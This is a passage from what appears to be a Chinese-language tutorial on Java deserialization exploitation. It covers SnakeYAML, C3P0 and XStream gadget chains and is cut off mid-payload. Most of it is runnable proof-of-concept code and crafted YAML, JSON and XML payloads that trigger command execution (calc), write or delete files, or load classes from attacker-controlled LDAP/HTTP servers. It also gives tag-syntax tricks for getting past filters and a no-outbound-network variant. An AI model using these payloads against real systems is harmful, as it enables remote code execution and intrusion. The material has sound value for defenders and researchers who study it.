"false" }, "infl": { "input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen": 1048576 }, "protocolVersion": 1 }所以构造snakeyaml的payload：!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]filepath是写入路径，base64是我们要写入文件的base64编码加个zlib inflatepackage snakeyaml; import org.yaml.snakeyaml.Yaml; public class fileoutput { public static void main(String[] args) { String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary [binary] },1048576]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); } }写入本地之后就可以通过ScriptEngineManager方式进行本地读取了public class SnakeYaml { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"file:///yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); yaml.load(payload); } }Apache XBean依赖<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.22</version> </dependency>package snakeyaml; import org.yaml.snakeyaml.Yaml; public class apachexbean { public static void main(String[] args) throws Error ,Exception{ String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"test\", \"http://127.0.0.1:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]"; Yaml yaml = new Yaml(); yaml.load(poc); } }Apache Commons Configuration依赖<dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency>POC：package snakeyaml; import org.yaml.snakeyaml.Yaml; public class apachecc { public static void main(String[] args) throws Error ,Exception{ String poc = "\n" + " ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:9999/test\"]]"; Yaml yaml = new Yaml(); yaml.load(poc); } }Jetty<dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-jndi</artifactId> <version>9.4.8.v20171121</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-plus</artifactId> <version>9.4.8.v20171121</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-util</artifactId> <version>9.4.8.v20171121</version> </dependency>package snakeyaml; import org.yaml.snakeyaml.Yaml; public class Resourcetest { public static void main(String[] args) throws Error ,Exception{ String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n"; Yaml yaml = new Yaml(); yaml.load(poc); } }ByPasshttps://b1ue.cn/archives/407.html如果“不允许 yaml 中存在 !!”，将无法再指定恶意的反序列化类，也就构不成代码执行的威胁了。!! 就相当于 fastjson 里的 @type，用于指定要反序列化的全类名。但是除了 !! 以为还有另外几种 TAG 的表示方式：第一种是用!<TAG>来表示，只需要一个感叹号，尖括号里就是 TAG。前面提到 !! 就是用来表示 TAG 的，会自动补全 TAG 前缀tag:yaml.org,2002:所以要想反序列化恶意类就需要这样构造!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://127.0.0.1:7777/yaml-payload.jar"]]]]第二种，需要在 yaml 中用%TAG声明一个 TAG例如我声明 ! 的tag是 tag:yaml.org,2002:%TAG ! tag:yaml.org,2002:后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str。最终我构造的反序列化攻击payload如下%TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]]]]
C3P0反序列化C3P0C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI绑定，支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate，Spring等。JDBC是Java DataBase Connectivity的缩写，它是Java程序访问数据库的标准接口。使用Java程序访问数据库时，Java代码并不是直接通过TCP连接去访问数据库，而是通过JDBC接口来访问，而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>利用链URLClassLoader利用链 远程加载字节码漏洞点在PoolBackedDataSourceBase先看序列化的过程，进入PoolBackedDataSourceBase这个类看看writeObject先将当前对象的connectionPoolDataSource属性进行序列化，如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作，我们跟进ReferenceIndirector.indirectForm方法。public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } private static class ReferenceSerialized implements IndirectlySerialized { Reference reference; //!!!!! Name name; Name contextName; Hashtable env; ...此方法会调用connectionPoolDataSource属性的getReference方法，并用返回结果作为参数实例化一个ReferenceSerialized对象，然后将ReferenceSerialized对象返回，ReferenceSerialized被序列化可以看出reference是可以被我们控制的，接下来看反序列化的操作，readShort获取版本号为1，往下走,首先获取了反序列化后的对象，然后再判断这个对象o是否实现了IndirectlySerialized接口，在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口，所以通过判断，调用了o的getObject方法跟进getObject方法跟进ReferenceableUtils.referenceToObject，由于ref是在序列化的时候可以控制的参数，那么fClassName自然也是可以控制的属性，下面就调用了URLClassLoader实例化我们的远程恶意类。这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true，也就是会初始化类，恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞package c3p0; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.logging.Logger; public class URLClassLoaderdemo { public static void main(String[] args) throws Exception{ PoolBackedDataSource z = new PoolBackedDataSource(); Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor(); constructor.setAccessible(true); PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance(); ConnectionPool connectionPool = new ConnectionPool("test","http://127.0.0.1:8000/"); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(obj, connectionPool); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{ protected String classFactory = null; protected String classFactoryLocation = null; public ConnectionPool(String classFactory,String classFactoryLocation){ this.classFactory = classFactory; this.classFactoryLocation = classFactoryLocation; } @Override public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);} @Override public PooledConnection getPooledConnection() throws SQLException {return null;} @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;} @Override public PrintWriter getLogWriter() throws SQLException {return null;} @Override public void setLogWriter(PrintWriter out) throws SQLException {} @Override public void setLoginTimeout(int seconds) throws SQLException {} @Override public int getLoginTimeout() throws SQLException {return 0;} @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;} } } JNDI注入 FastJson在fastjson，jackson环境中可用JndiRefForwardingDataSource的dereference()方法中有lookup，并且jndiName通过getJndiName()获取在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法public void setLogWriter(PrintWriter out) throws SQLException { this.inner().setLogWriter(out); } // ... public void setLoginTimeout(int seconds) throws SQLException { this.inner().setLoginTimeout(seconds); }就符合了fastjson的利用条件，那么可以用工具起一个LDAP server恶意利用python -m http.server 7777 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:9999/test", "loginTimeout":1}hex序列化字节加载器这个链自能够反序列化一串十六进制字符串，因此实际利用需要有存在反序列化漏洞的组件在WrapperConnectionPoolDataSource的构造方法下调用了C3P0ImplUtils.parseUserOverridesAsString，跟进当userOverridesAsString不为空进入if首先会用substring对userOverridesAsString进行截取，将HASM_HEADER头和最后一位的;扣掉而HASM_HEADER是一个私有的常量将十六进制转成字节数组，最后再强转为map对象，跟进fromByteArray最后到deserializeFromByteArray去readObjectpublic static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }cc6：package c3p0; import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class hex_cc6 { public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx"); HashMap<Object,Object> hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb"); lazyMap.remove("Atkx"); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex); //Fastjson<1.2.47 // String payload = "{" + // "\"1\":{" + // "\"@type\":\"java.lang.Class\"," + // "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + // "}," + // "\"2\":{" + // "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + // "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + // "}" + // "}"; //低版本利用 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; JSON.parse(payload); } } cc4：package c3p0; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import com.alibaba.fastjson.JSON; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.PriorityQueue; public class hex_cc4 { public static PriorityQueue CC4() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesclass = templates.getClass(); //name字段 Field nameField = templatesclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Atkx"); //恶意bytecode字段 Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes"); bytecodeFiled.setAccessible(true); byte[] code = Tools.getBytes("c3p0.evil"); byte[][] codes = {code}; bytecodeFiled.set(templates,codes); //工厂类字段 Field tfactoryField = templatesclass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl() { }); //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer( new Class[]{ Templates.class},new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); return priorityQueue; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws Exception { String hex = toHexAscii(tobyteArray(CC4())); System.out.println(hex); //Fastjson<1.2.47 // String payload = "{" + // "\"1\":{" + // "\"@type\":\"java.lang.Class\"," + // "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + // "}," + // "\"2\":{" + // "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + // "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + // "}" + // "}"; //低版本利用 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; JSON.parse(payload); } }或者直接加载恶意反序列化对象来执行java -jar ysoserial.jar CommonsCollections6 "calc" > calc.binpackage c3p0; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class hex_alltohex { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } } 直接搭配fastjson的payload去打即可不出网利用在JNDI高版本利用中，我们可以加载本地的Factory类进行攻击，而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入C3P0中利用URLClassLoader进行任意类加载的攻击方式，在实例化完我们的恶意类之后，调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类，所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入，利用方式类似JNDI的高版本绕过。当然这种利用方式需要存在Tomcat8相关依赖环境和URLClassLoader利用链的调用链一样，只是最后不通过URLClassLoader加载远程字节码实例化远程类了，通过本地类的加载来进行EL表达式注入package c3p0; import javax.naming.*; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.logging.Logger; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; public class c3p0_nointernet { public static void main(String[] args) throws Exception{ Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor(); constructor.setAccessible(true); PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance(); ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(obj, connectionPool); //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.close(); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public ConnectionPool ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); String cmd = "calc"; ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")")); return ref; } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } }
XStream反序列化XStreamXStream实现了一套Java对象到XML的序列化和反序列化机制，核心是通过Converter转换器来将XML和对象之间进行相互的转换。XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器，该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象，而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时，就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法；利用这个机制，攻击者可以构造恶意的XML内容，即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法；最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。<dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.10</version> </dependency>demopackage xstream; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class xstreamDemo { public static void main(String[] args) { Person zhangsan = new Person("zhangsan", 18); // 序列化 XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(zhangsan); System.out.println(xml); // 反序列化 Person user = (Person) xstream.fromXML(xml); } }这里提示“XStream的安全框架未初始化，可能有安全风险”，如果尝试用1.4.17之后版本的XStream运行这段代码将无法正常反序列化出Person对象，并抛出异常。1.14.12版本开始，XStream包含一个安全框架，用于在反序列化时为允许的类型实现黑名单或白名单。在1.4.17版本之前，XStream保留了一个默认的黑名单用于防御安全攻击，在1.4.17版本之后，默认使用白名单，所有人现在都必须进行正确的初始化，否则在反序列化时会失败。因此，用1.4.17之后版本的XStream需要在初始化时给需要反序列化的类加入白名单内。xstream.allowTypes(new Class[]{Person.class});基础原理EventHandler类EventHandler类是实现了InvocationHandler的一个类，设计本意是为交互工具提供beans，建立从用户界面到应用程序逻辑的连接。其方法执行涉及传入事件对象和目标对象的简单语句，通常，连接是从用户界面bean（事件源）到应用程序逻辑bean（目标）。 这种最有效的连接将应用程序逻辑与用户界面隔离开来。在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的利用链中，会将前面两个属性作为类方法和参数继续反射调用而动态代理对象调用方法时会触发动态代理机制，调用EventHandler的invoke方法，样例如下package cve_2013_7285; import java.beans.EventHandler; import java.lang.reflect.Proxy; public class Demo { public static void main(String[] args) { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{"cmd","/c","calc"}); EventHandler eventHandler = new EventHandler(processBuilder,"start",null,null); Comparable proxy = (Comparable) Proxy.newProxyInstance(Demo.class.getClassLoader(),new Class[]{Comparable.class},eventHandler); proxy.compareTo(new Object()); // 客户端通过代理对象调用方法,本次调用将自动被代理处理器的invoke方法接收 } }通过 Proxy.newProxyInstance() 创建 动态代理对象，并将所有方法调用交给 EventHandler 处理。proxy.compareTo(new Object()) 触发 代理机制，进入 invoke() 方法。invoke() 通过反射调用 processBuilder.start()，最终 calc。利用链Sorted-Set链适用版本1.4.5，1.4.6，1.4.10package xstream; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class SortedSettest { public static void main(String[] args) { String payload = "<sorted-set>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>cmd</string>\n" + " <string>/c</string>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</sorted-set>"; XStream xstream = new XStream(new DomDriver()); xstream.fromXML(payload); } }Tree-Map链适用版本<=1.4.6或=1.4.10<tree-map> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>-na</string> <string>Calculator</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>good</string> </entry> </tree-map>sorted-set出网链CVE-2021-21351适用版本<=1.4.15<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'> <m__DTMXRTreeFrag> <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'> <m__size>-10086</m__size> <m__mgrDefault> <__useServicesMechanism>false</__useServicesMechanism> <m__incremental>false</m__incremental> <m__source__location>false</m__source__location> <m__dtms> <null/> </m__dtms> <m__defaultHandler/> </m__mgrDefault> <m__shouldStripWS>false</m__shouldStripWS> <m__indexing>false</m__indexing> <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'> <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://127.0.0.1:1389/Basic/Command/calc</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default/> </com.sun.rowset.JdbcRowSetImpl> </fPullParserConfig> <fConfigSetInput> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>setAutoCommit</name> <parameter-types> <class>boolean</class> </parameter-types> </fConfigSetInput> <fConfigParse reference='../fConfigSetInput'/> <fParseInProgress>false</fParseInProgress> </m__incrementalSAXSource> <m__walker> <nextIsRaw>false</nextIsRaw> </m__walker> <m__endDocumentOccured>false</m__endDocumentOccured> <m__idAttributes/> <m__textPendingStart>-1</m__textPendingStart> <m__useSourceLocationProperty>false</m__useSourceLocationProperty> <m__pastFirstElement>false</m__pastFirstElement> </m__dtm> <m__dtmIdentity>1</m__dtmIdentity> </m__DTMXRTreeFrag> <m__dtmRoot>1</m__dtmRoot> <m__allowRelease>false</m__allowRelease> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>map链CVE-2020-26217 一种黑名单的绕过方式适用版本<=1.4.13 <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> 0 <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> map文件删除链CVE-2020-26259适用版本<=1.4.14 <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'> <tempFile>D:\\hello.txt</tempFile> </is> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> priorityquine出网链CVE-2021-21344适用版本<=1.4.15<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> 